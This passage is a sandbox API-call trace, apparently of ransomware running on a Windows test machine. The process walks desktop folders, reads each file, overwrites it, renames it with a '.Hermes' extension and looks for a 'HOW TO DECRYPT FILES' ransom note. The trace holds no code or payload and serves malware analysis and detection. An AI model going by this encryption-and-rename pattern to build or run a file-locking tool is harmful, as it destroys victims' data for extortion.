(dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0090.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3", lpFilePart=0x0) returned 0x24 [0090.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0090.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\uy _qjuk.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.960] GetFileType (hFile=0x304) returned 0x1 [0090.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0090.960] GetFileType (hFile=0x304) returned 0x1 [0090.961] WriteFile (in: hFile=0x304, lpBuffer=0x308fd14*, nNumberOfBytesToWrite=0xd4f0, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x308fd14*, lpNumberOfBytesWritten=0x19e3d0*=0xd4f0, lpOverlapped=0x0) returned 1 [0090.963] CloseHandle (hObject=0x304) returned 1 [0090.964] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3", lpFilePart=0x0) returned 0x24 [0090.964] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3.Hermes", lpFilePart=0x0) returned 0x2b [0090.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0090.965] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\uy _qjuk.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0082b0, ftCreationTime.dwHighDateTime=0x1d4d385, ftLastAccessTime.dwLowDateTime=0xb057d090, ftLastAccessTime.dwHighDateTime=0x1d4c7da, ftLastWriteTime.dwLowDateTime=0xafb0f397, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xd4f0)) returned 1 [0090.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0090.965] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\uy _qjuk.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\uy _qJUK.mp3.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\uy _qjuk.mp3.hermes")) returned 1 [0090.965] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png", lpFilePart=0x0) returned 0x27 [0090.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0090.965] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png" (normalized: "c:\\users\\fd1hvy\\desktop\\vmnx49o7kgj.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0090.966] GetFileType (hFile=0x304) returned 0x1 [0090.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0090.966] GetFileType (hFile=0x304) returned 0x1 [0090.966] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0xf38d [0090.966] ReadFile (in: hFile=0x304, lpBuffer=0x309d718, nNumberOfBytesToRead=0xf38d, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x309d718*, lpNumberOfBytesRead=0x19e3dc*=0xf38d, lpOverlapped=0x0) returned 1 [0090.966] CloseHandle (hObject=0x304) returned 1 [0091.019] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0091.019] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0091.019] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png", lpFilePart=0x0) returned 0x27 [0091.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0091.020] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png" (normalized: "c:\\users\\fd1hvy\\desktop\\vmnx49o7kgj.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.021] GetFileType (hFile=0x304) returned 0x1 [0091.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0091.021] GetFileType (hFile=0x304) returned 0x1 [0091.021] WriteFile (in: hFile=0x304, lpBuffer=0x3117fc8*, nNumberOfBytesToWrite=0xf390, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x3117fc8*, lpNumberOfBytesWritten=0x19e3d0*=0xf390, lpOverlapped=0x0) returned 1 [0091.036] CloseHandle (hObject=0x304) returned 1 [0091.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png", lpFilePart=0x0) returned 0x27 [0091.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png.Hermes", lpFilePart=0x0) returned 0x2e [0091.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0091.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png" (normalized: "c:\\users\\fd1hvy\\desktop\\vmnx49o7kgj.png"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a09bd80, ftCreationTime.dwHighDateTime=0x1d4c6ef, ftLastAccessTime.dwLowDateTime=0x97b3f8f0, ftLastAccessTime.dwHighDateTime=0x1d4d5dd, ftLastWriteTime.dwLowDateTime=0xafba7c64, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xf390)) returned 1 [0091.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0091.039] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png" (normalized: "c:\\users\\fd1hvy\\desktop\\vmnx49o7kgj.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\Vmnx49O7kGj.png.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\vmnx49o7kgj.png.hermes")) returned 1 [0091.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e1fc) returned 1 [0091.068] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT", lpFilePart=0x0) returned 0x28 [0091.068] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d7e4d90, ftCreationTime.dwHighDateTime=0x1d4c6f8, ftLastAccessTime.dwLowDateTime=0x4ff13f10, ftLastAccessTime.dwHighDateTime=0x1d4cfce, ftLastWriteTime.dwLowDateTime=0x4ff13f10, ftLastWriteTime.dwHighDateTime=0x1d4cfce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfedf18 [0091.068] FindNextFileW (in: hFindFile=0xfedf18, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d7e4d90, ftCreationTime.dwHighDateTime=0x1d4c6f8, ftLastAccessTime.dwLowDateTime=0x4ff13f10, ftLastAccessTime.dwHighDateTime=0x1d4cfce, ftLastWriteTime.dwLowDateTime=0x4ff13f10, ftLastWriteTime.dwHighDateTime=0x1d4cfce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.068] FindNextFileW (in: hFindFile=0xfedf18, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b2b200, ftCreationTime.dwHighDateTime=0x1d4d1d7, ftLastAccessTime.dwLowDateTime=0x73a923c0, ftLastAccessTime.dwHighDateTime=0x1d4d44a, ftLastWriteTime.dwLowDateTime=0x73a923c0, ftLastWriteTime.dwHighDateTime=0x1d4d44a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fhdgh_AfpkHHBB9_QqtI", cAlternateFileName="FHDGH_~1")) returned 1 [0091.068] FindNextFileW (in: hFindFile=0xfedf18, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca222d0, ftCreationTime.dwHighDateTime=0x1d4d064, ftLastAccessTime.dwLowDateTime=0x69b09550, ftLastAccessTime.dwHighDateTime=0x1d4c59b, ftLastWriteTime.dwLowDateTime=0x69b09550, ftLastWriteTime.dwHighDateTime=0x1d4c59b, nFileSizeHigh=0x0, nFileSizeLow=0x16174, dwReserved0=0x0, dwReserved1=0x0, cFileName="yfqCV0OiaN_4Qj.swf", cAlternateFileName="YFQCV0~1.SWF")) returned 1 [0091.069] FindNextFileW (in: hFindFile=0xfedf18, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fa96490, ftCreationTime.dwHighDateTime=0x1d4cda7, ftLastAccessTime.dwLowDateTime=0x8e84a300, ftLastAccessTime.dwHighDateTime=0x1d4c6e3, ftLastWriteTime.dwLowDateTime=0x8e84a300, ftLastWriteTime.dwHighDateTime=0x1d4c6e3, nFileSizeHigh=0x0, nFileSizeLow=0x2265, dwReserved0=0x0, dwReserved1=0x0, cFileName="zLLG2mc3itXFoLjXIllk.swf", cAlternateFileName="ZLLG2M~1.SWF")) returned 1 [0091.069] FindNextFileW (in: hFindFile=0xfedf18, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.069] FindClose (in: hFindFile=0xfedf18 | out: hFindFile=0xfedf18) returned 1 [0091.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1b8) returned 1 [0091.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1c4) returned 1 [0091.069] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT", lpFilePart=0x0) returned 0x28 [0091.069] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d7e4d90, ftCreationTime.dwHighDateTime=0x1d4c6f8, ftLastAccessTime.dwLowDateTime=0x4ff13f10, ftLastAccessTime.dwHighDateTime=0x1d4cfce, ftLastWriteTime.dwLowDateTime=0x4ff13f10, ftLastWriteTime.dwHighDateTime=0x1d4cfce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfeda58 [0091.069] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d7e4d90, ftCreationTime.dwHighDateTime=0x1d4c6f8, ftLastAccessTime.dwLowDateTime=0x4ff13f10, ftLastAccessTime.dwHighDateTime=0x1d4cfce, ftLastWriteTime.dwLowDateTime=0x4ff13f10, ftLastWriteTime.dwHighDateTime=0x1d4cfce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.070] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b2b200, ftCreationTime.dwHighDateTime=0x1d4d1d7, ftLastAccessTime.dwLowDateTime=0x73a923c0, ftLastAccessTime.dwHighDateTime=0x1d4d44a, ftLastWriteTime.dwLowDateTime=0x73a923c0, ftLastWriteTime.dwHighDateTime=0x1d4d44a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fhdgh_AfpkHHBB9_QqtI", cAlternateFileName="FHDGH_~1")) returned 1 [0091.070] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca222d0, ftCreationTime.dwHighDateTime=0x1d4d064, ftLastAccessTime.dwLowDateTime=0x69b09550, ftLastAccessTime.dwHighDateTime=0x1d4c59b, ftLastWriteTime.dwLowDateTime=0x69b09550, ftLastWriteTime.dwHighDateTime=0x1d4c59b, nFileSizeHigh=0x0, nFileSizeLow=0x16174, dwReserved0=0x0, dwReserved1=0x0, cFileName="yfqCV0OiaN_4Qj.swf", cAlternateFileName="YFQCV0~1.SWF")) returned 1 [0091.070] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fa96490, ftCreationTime.dwHighDateTime=0x1d4cda7, ftLastAccessTime.dwLowDateTime=0x8e84a300, ftLastAccessTime.dwHighDateTime=0x1d4c6e3, ftLastWriteTime.dwLowDateTime=0x8e84a300, ftLastWriteTime.dwHighDateTime=0x1d4c6e3, nFileSizeHigh=0x0, nFileSizeLow=0x2265, dwReserved0=0x0, dwReserved1=0x0, cFileName="zLLG2mc3itXFoLjXIllk.swf", cAlternateFileName="ZLLG2M~1.SWF")) returned 1 [0091.070] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fa96490, ftCreationTime.dwHighDateTime=0x1d4cda7, ftLastAccessTime.dwLowDateTime=0x8e84a300, ftLastAccessTime.dwHighDateTime=0x1d4c6e3, ftLastWriteTime.dwLowDateTime=0x8e84a300, ftLastWriteTime.dwHighDateTime=0x1d4c6e3, nFileSizeHigh=0x0, nFileSizeLow=0x2265, dwReserved0=0x0, dwReserved1=0x0, cFileName="zLLG2mc3itXFoLjXIllk.swf", cAlternateFileName="ZLLG2M~1.SWF")) returned 0 [0091.070] FindClose (in: hFindFile=0xfeda58 | out: hFindFile=0xfeda58) returned 1 [0091.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1b8) returned 1 [0091.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI", nBufferLength=0x105, lpBuffer=0x19d9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI", lpFilePart=0x0) returned 0x3d [0091.071] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\*", lpFindFileData=0x19dc54 | out: lpFindFileData=0x19dc54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b2b200, ftCreationTime.dwHighDateTime=0x1d4d1d7, ftLastAccessTime.dwLowDateTime=0x73a923c0, ftLastAccessTime.dwHighDateTime=0x1d4d44a, ftLastWriteTime.dwLowDateTime=0x73a923c0, ftLastWriteTime.dwHighDateTime=0x1d4d44a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfeda58 [0091.071] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b2b200, ftCreationTime.dwHighDateTime=0x1d4d1d7, ftLastAccessTime.dwLowDateTime=0x73a923c0, ftLastAccessTime.dwHighDateTime=0x1d4d44a, ftLastWriteTime.dwLowDateTime=0x73a923c0, ftLastWriteTime.dwHighDateTime=0x1d4d44a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.071] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef9dce00, ftCreationTime.dwHighDateTime=0x1d4caa8, ftLastAccessTime.dwLowDateTime=0x380caaf0, ftLastAccessTime.dwHighDateTime=0x1d4d0fb, ftLastWriteTime.dwLowDateTime=0x380caaf0, ftLastWriteTime.dwHighDateTime=0x1d4d0fb, nFileSizeHigh=0x0, nFileSizeLow=0x135c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EB_m2iMd_YB.gif", cAlternateFileName="EB_M2I~1.GIF")) returned 1 [0091.072] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbff2ae0, ftCreationTime.dwHighDateTime=0x1d4d5ef, ftLastAccessTime.dwLowDateTime=0x88afa030, ftLastAccessTime.dwHighDateTime=0x1d4ce25, ftLastWriteTime.dwLowDateTime=0x88afa030, ftLastWriteTime.dwHighDateTime=0x1d4ce25, nFileSizeHigh=0x0, nFileSizeLow=0x163ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="K6Z4SfIpaB.mkv", cAlternateFileName="K6Z4SF~1.MKV")) returned 1 [0091.072] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00d1530, ftCreationTime.dwHighDateTime=0x1d4d57e, ftLastAccessTime.dwLowDateTime=0x472568d0, ftLastAccessTime.dwHighDateTime=0x1d4d28e, ftLastWriteTime.dwLowDateTime=0x472568d0, ftLastWriteTime.dwHighDateTime=0x1d4d28e, nFileSizeHigh=0x0, nFileSizeLow=0x5f06, dwReserved0=0x0, dwReserved1=0x0, cFileName="TfNW1f m7CX1OiM.xls", cAlternateFileName="TFNW1F~1.XLS")) returned 1 [0091.072] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7460df50, ftCreationTime.dwHighDateTime=0x1d4d04a, ftLastAccessTime.dwLowDateTime=0x610ffa90, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0x610ffa90, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yzb93Q82DMI82wO", cAlternateFileName="YZB93Q~1")) returned 1 [0091.072] FindNextFileW (in: hFindFile=0xfeda58, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7460df50, ftCreationTime.dwHighDateTime=0x1d4d04a, ftLastAccessTime.dwLowDateTime=0x610ffa90, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0x610ffa90, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yzb93Q82DMI82wO", cAlternateFileName="YZB93Q~1")) returned 0 [0091.072] FindClose (in: hFindFile=0xfeda58 | out: hFindFile=0xfeda58) returned 1 [0091.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dee8) returned 1 [0091.072] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI", nBufferLength=0x105, lpBuffer=0x19d9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI", lpFilePart=0x0) returned 0x3d [0091.072] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\*", lpFindFileData=0x19dc54 | out: lpFindFileData=0x19dc54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b2b200, ftCreationTime.dwHighDateTime=0x1d4d1d7, ftLastAccessTime.dwLowDateTime=0x73a923c0, ftLastAccessTime.dwHighDateTime=0x1d4d44a, ftLastWriteTime.dwLowDateTime=0x73a923c0, ftLastWriteTime.dwHighDateTime=0x1d4d44a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfeded8 [0091.073] FindNextFileW (in: hFindFile=0xfeded8, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b2b200, ftCreationTime.dwHighDateTime=0x1d4d1d7, ftLastAccessTime.dwLowDateTime=0x73a923c0, ftLastAccessTime.dwHighDateTime=0x1d4d44a, ftLastWriteTime.dwLowDateTime=0x73a923c0, ftLastWriteTime.dwHighDateTime=0x1d4d44a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.073] FindNextFileW (in: hFindFile=0xfeded8, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef9dce00, ftCreationTime.dwHighDateTime=0x1d4caa8, ftLastAccessTime.dwLowDateTime=0x380caaf0, ftLastAccessTime.dwHighDateTime=0x1d4d0fb, ftLastWriteTime.dwLowDateTime=0x380caaf0, ftLastWriteTime.dwHighDateTime=0x1d4d0fb, nFileSizeHigh=0x0, nFileSizeLow=0x135c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EB_m2iMd_YB.gif", cAlternateFileName="EB_M2I~1.GIF")) returned 1 [0091.073] FindNextFileW (in: hFindFile=0xfeded8, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbff2ae0, ftCreationTime.dwHighDateTime=0x1d4d5ef, ftLastAccessTime.dwLowDateTime=0x88afa030, ftLastAccessTime.dwHighDateTime=0x1d4ce25, ftLastWriteTime.dwLowDateTime=0x88afa030, ftLastWriteTime.dwHighDateTime=0x1d4ce25, nFileSizeHigh=0x0, nFileSizeLow=0x163ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="K6Z4SfIpaB.mkv", cAlternateFileName="K6Z4SF~1.MKV")) returned 1 [0091.073] FindNextFileW (in: hFindFile=0xfeded8, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00d1530, ftCreationTime.dwHighDateTime=0x1d4d57e, ftLastAccessTime.dwLowDateTime=0x472568d0, ftLastAccessTime.dwHighDateTime=0x1d4d28e, ftLastWriteTime.dwLowDateTime=0x472568d0, ftLastWriteTime.dwHighDateTime=0x1d4d28e, nFileSizeHigh=0x0, nFileSizeLow=0x5f06, dwReserved0=0x0, dwReserved1=0x0, cFileName="TfNW1f m7CX1OiM.xls", cAlternateFileName="TFNW1F~1.XLS")) returned 1 [0091.073] FindNextFileW (in: hFindFile=0xfeded8, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7460df50, ftCreationTime.dwHighDateTime=0x1d4d04a, ftLastAccessTime.dwLowDateTime=0x610ffa90, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0x610ffa90, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yzb93Q82DMI82wO", cAlternateFileName="YZB93Q~1")) returned 1 [0091.074] FindNextFileW (in: hFindFile=0xfeded8, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.074] FindClose (in: hFindFile=0xfeded8 | out: hFindFile=0xfeded8) returned 1 [0091.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dee8) returned 1 [0091.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv", nBufferLength=0x105, lpBuffer=0x19d850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv", lpFilePart=0x0) returned 0x4c [0091.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\K6Z4SfIpaB.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\k6z4sfipab.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 